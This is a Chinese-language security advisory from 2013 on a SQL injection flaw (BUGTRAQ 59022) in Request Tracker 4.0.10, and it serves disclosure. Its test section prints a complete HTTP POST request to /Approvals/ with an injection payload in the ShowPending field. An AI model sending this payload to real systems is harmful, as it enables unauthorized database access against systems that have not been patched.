发布日期：2013-04-11
更新日期：2013-04-13
受影响系统：
bestpractical RT 4.0.10
描述：
--------------------------------------------------------------------------------
BUGTRAQ ID: 59022
Request Tracker是Request Tracker问题跟踪系统，用于bug跟踪、客户服务、工作流处理、更改管理、网络操作、青年辅导等。
RT 4.0.10易于受到SQL注入漏洞的攻击，成功利用后可允许攻击者执行未授权数据库操作。
<*来源：cheki
*>
测试方法：
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
POST /Approvals/ HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Cookie: RT_SID_example.com.80=7c120854a0726239b379557f024cc1cb
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer:
Host: 10.10.10.70
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64;
Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR
3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Content-Length: 120
ShowPending=1%27+and+%27f%27%3D%27f%27%29+--+&ShowResolved=1&ShowRejected=1&ShowDependent=1&CreatedBefore=&CreatedAfter=
建议：
--------------------------------------------------------------------------------
厂商补丁：
bestpractical
-------------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：